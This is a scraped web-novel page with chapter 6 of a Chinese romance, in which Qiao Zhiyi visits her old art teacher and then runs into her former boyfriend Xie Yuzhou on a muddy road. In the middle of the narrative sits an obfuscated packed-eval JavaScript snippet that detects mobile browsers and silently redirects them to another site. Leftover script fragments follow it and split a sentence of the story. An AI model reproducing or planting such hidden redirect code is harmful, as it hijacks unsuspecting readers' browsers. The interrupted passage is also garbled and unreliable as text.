默认冷灰
24号文字
方正启体

6. 第六章

作者:皎糖本书字数:K更新时间:
    翌日下午。


    乔栀意刚进病房,就注意到了桌上一束鲜艳的粉白色康乃馨花束,地上还有一个漂亮的果篮和一些营养品。


    她还没发问,乔奶奶便主动开口说,“早上你走之后,你的一个学生还有她的家长一起过来了,送的这些东西。他们也太客气了。”


    乔栀意稍怔,难道是乐萌?


    也只能想到是她了。


    “哦……他们有说什么吗?”


    乔奶奶:“就问问我的身体情况,看我没事,聊了几句人家就走了。”


    “你那学生长得漂亮极了,跟你小时候可像了。她爸爸也是好看的不得了,看着很年轻,完全看不出来都有孩子了。要不是人家已经结婚生子了,我真希望你们可以发展发展呢。”


    听到爸爸这个称呼,乔栀意眼睫轻颤了下,心不在焉地说:“奶奶,你看哪个小姑娘都像我小时候。”


    乔奶奶眯着眼睛笑:“以后你要是生个小女娃肯定也像你,好看得不得了。”


    “我都不打算结婚,哪会有孩子?”乔栀意坐到病床边,随口应着。


    “尽胡说八道!”乔奶奶没好气地说。


    乔栀意不打算惹老人家生气,没再继续说这个话题。


    陪乔奶奶聊了好一会儿后,乔栀意拿出手机刷朋友圈。忽然,蒋老师发的一条动态吸引了她的注意力。


    【承蒙关心,本人已经康复出院。】


    配图是一张打着石膏的腿。


    乔栀意赶紧点开蒋老师的动态,才发现人家前段时间出了个小车祸,一只腿受了重伤。


    -


    高中的时候,乔栀意想走美术艺考,乔鸿锦说什么也不让,说她不好好学习文化课,整天就想着一些没用的歪门邪道。


    父女两人大吵了一架,乔栀意气得晚上放学不想回家。


    那时谢聿舟天天放学送她回家,很快察觉到了她的情绪。


    当她说出晚上不想回家的原因之后,谢聿舟摸了摸她的脑袋,劝她回家,安慰道,“多大点事儿?放心,交给我。”


    乔栀意当时只以为他是说大话,毕竟乔鸿锦根深蒂固的老古董思想无人能撼动,而且谢聿舟根本就不认识她父亲。


    她没有让两人见过面。


    后来她才知道他原来真的能搞定。


    他找了一个经验丰富的美术老师私教,根据她的空闲时间安排一对一课程,乔栀意最终还是走上了艺考这条路。


    每周谢聿舟都会陪着她一起上课下课。


    每次她在那上课,他就在一旁安静地看着。


    下课后她问他会不会无聊,谢聿舟说不无聊,乔栀意不信。


    他会看着她的眼睛,轻扯唇角,“不无聊,好看。”


    她笑,故意问他什么好看。


    他直白坦荡地说,“你和画都好看。”


    “不对,你比画好看。”


    高考她的文化课班级第四,但加上艺考,综合成绩全班第一,在全校也是名列前茅,国内名牌大学随便挑。


    谢聿舟找的这个美术老师就是蒋老师,可以说是她人生中最大的贵人之一。


    出国后,乔栀意与蒋老师的联系就少了,通常是在每年的教师节给他发几句祝福问候。


    去年老人家才退休享福,没想到今年就发生意外住院了,她居然才发现。


    人年龄大了总容易出各种各样的意外,奶奶是这样,蒋老师也是这样。


    乔栀意心里很不是滋味。


    乔栀意立刻给蒋老师发去消息询问情况,说要去看他。


    蒋老师感叹乔栀意居然回国了,又说可以不用去看他,他出院回老家休养去了,老家在郊区,路不好走。


    乔栀意还是决定过去。


    第二天一早,她去超市买了营养品和水果,又去花店买了一束花,打了个车前往。


    原来蒋老师所说真的不是怕麻烦她,他老家的路是真的不好走。


    道路越来越窄,路旁树木枝桠疏朗,落叶萧条,前方还有一截古老的泥土路。


    司机说前方不好调头,离目的地还有一千米乔栀意就下了车。


    到达蒋老师家的时候,老人家正在院子里的躺椅上躺着晒太阳。


    几年不见,他头发白了不少。


    看到她过来,蒋老师很是意外,“栀意?哎呦,你还是来了啊。你看我这,也不好给你倒杯茶。”


    乔栀意把买的东西放到门口,搬了个板凳坐在老人家旁边,“蒋老师,不用倒茶,我就来看看您,您没事就行。我坐一会儿就走。”


    屋内师母听到声音,忙倒了杯热茶端出来给乔栀意。


    她接过礼貌道谢。


    “您这好好的怎么被车撞了呢?”


    “现在的小年轻啊,开车拐弯都不减速的,我在路上走得好好的,飞来横祸……没事,不说这个了。”


    蒋老师说起这就来气,没再继续这个话题,问她,“你什么时候回国的啊?这都好多年没回来过了吧。”


    “是啊,好多年了。”乔栀意垂下眼睫,抿了口热茶,“就上个月才回来。”


    “这次回来还走吗?”


    “不走了,家人年龄大了,想多陪陪。”


    蒋老师笑着点点头,忽地来了一句,“阿舟知道你回来了吗?”


    乔栀意捏着杯壁的手一紧,淡淡“嗯”了声。


    虽然两人都没提,但蒋老师大概能猜到两人的情况,他漫不经心地说,“这小子,前两年还时不时来看看我,这两年都不来了。”


    乔栀意抿了抿唇,随口回答道,“他可能是太忙了。”


    “他哪里是忙啊?”


    蒋老师毫不客气地揭露,“这小子前两年过来的时候每次都问我你有没有来过,我说没有。他后来就不来了。你看看,多没良心。”


    乔栀意噎住,有些不敢相信。


    他前几年竟然还会和蒋老师谈论她吗?


    是没放下,还是后知后觉地不甘心,怨恨,想找她要个说法呢?


    短暂地思考片刻,这问题又被她抛掷脑后。


    现在思考这些都已经没有什么意义了,后面这几年,他就不会再过来谈起她了。


    这足以说明,就算刚开始他还有些放不下,后面也彻底放下了。


    七年过去,早已物是人非。


    “栀意结婚了吗?”


    这突如其来的问题,乔栀意刚喝下去的茶呛在喉咙,连连咳嗽几声,“老师,我这暧昧对象都没有一个,和谁结婚呢。”


    蒋老师大笑。


    两人闲聊间,忽然刮起了一阵风,原本晴朗的天空也变了颜色,黑沉沉的乌云遮住太阳。


    蒋老师拄着拐杖进了屋,乔栀意和师母一起把躺椅和晒着的棉被衣服收了回去。


    瓢泼大雨顷刻间落下。


    今天这是阵雨,下一会儿就会停。夫妻二人邀请乔栀意留下吃午饭,等雨停了再走。


    乔栀意看着门外连成线的雨珠,也没拒绝。


    饭桌上,蒋老师随手拍了一张饭菜和用餐人的照片,给谢聿舟发过去:【有良心的孩子都知道我出院要来看看我。】


    发完这条消息,老人家放下手机。


    心中默念一声,为师也就只能帮到这了。


    吃完饭外面的阵雨就停了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261005|198026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,光秃秃的树枝往下滴着水珠,砸向半遮半掩埋在泥土里的枯树叶。


    下过雨的道路泥泞湿滑,更加不好走。高跟鞋踩上去,鞋跟直往里陷入,踩出一个又一个细小的泥坑。


    乔栀意拎着长长的裙摆,纵使很小心,还是无可避免溅到了星星点点的泥渍。


    她低头认真看着脚下的路,丝毫没有注意到前方一个越来越近的男人身影。


    脚下鞋跟又一次陷入,一阵寒风席卷,乔栀意肩上搭着的卡其色披肩被吹到身后,肩颈瞬间被刺骨的寒意侵袭。


    她下意识转身去接,陷入的鞋跟却不听话,披肩落到潮湿泥泞的地面上,她一只脚脱离了鞋,踩到湿滑的泥土地面,一个踉跄,身体直直往后倒下去。


    出乎意料。


    她并没有摔倒,一只沉稳有力的胳膊稳稳托住了她纤细的腰肢。


    看清楚面前人的脸,乔栀意差点忘了呼吸。


    谢聿舟?!


    他今天怎么也来了?


    这么巧吗?


    他穿着件深灰色大衣,逆着光的身形高大俊朗,漆黑的发丝被冷风吹得凌乱,眉眼立体深邃,幽深微冷的眼眸一瞬不瞬盯着她。


    乔栀意还没反应过来,下一刻,他又将她稳稳打横抱起。


    谢聿舟没说话,就这么抱着她往前走。


    烟草混杂着雪松的香味严丝合缝将她笼罩。乔栀意大脑宕机了一会儿后终于清醒过来,开始挣扎,“谢聿舟?你这是做什么?”


    “你放我下来!”


    “谢聿舟,我在和你说话!你听不懂吗?”


    没得到回应,乔栀意挣扎得更加用力,可过大的体型和力量差距,让她在他怀里像是蜉蝣撼树。


    多年未见,他的肩膀和胸膛比记忆中更加宽沉。


    推推搡搡间,脚上另外一只高跟鞋又被她踢飞了出去。


    她两只柔白的脚都光着在冷风中,一只脚还沾染着潮湿污秽的泥土。


    谢聿舟总算舍得开口:“现在还要放你下来吗?”


    如果此刻他放下她,她就会光着脚踩在泥土地上。


    乔栀意咬着唇,没再挣扎,只平静冷漠地呛他,“都有孩子的人了,这么抱着别的女人不合适吧?”


    似乎是觉得好笑,谢聿舟轻嗤一声。


    脚步顿在原地。


    他低睫,直勾勾看着她的眼睛,反问道,“我和谁有孩子了?”


    这句话是什么意思?


    是在否认?


    乐萌真的不是他的小孩吗?


    她还没来及接话,谢聿舟紧接着又说,“怎么?你很介意?”


    散漫又欠欠的语调,轻松将她丢出去的火药味又扇了回来。


    曾经满心满眼都是她的人,再重逢却连孩子都有了,说心里一点没有感觉那是假的。


    明明之前是她先提的分手。


    明明她知道,自己根本就没有资格去介意,不该生出一丝一毫这样的想法。


    前方停着一辆黑色跑车。


    谢聿舟抱着她继续迈步往前走着,不知道是不是觉得在两人较量中占据到了上风,步伐似乎都比方才更轻快了些。


    乔栀意不甘被对方呛得哑口无言,处于下风,冷声道,“你想太多了,你和谁有孩子,有几个孩子,都和我没关系。”


    “我现在介意的是你不该抱着我,我们好像并不熟吧?”


    话音刚落,她能感觉到男人禁锢她的力道又紧了几分。


    “不熟?”


    谢聿舟拉开车门,将她塞进车后座,混不吝地扯了扯唇,“乔小姐,你觉得两个负距离接触过的人,能叫不熟么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)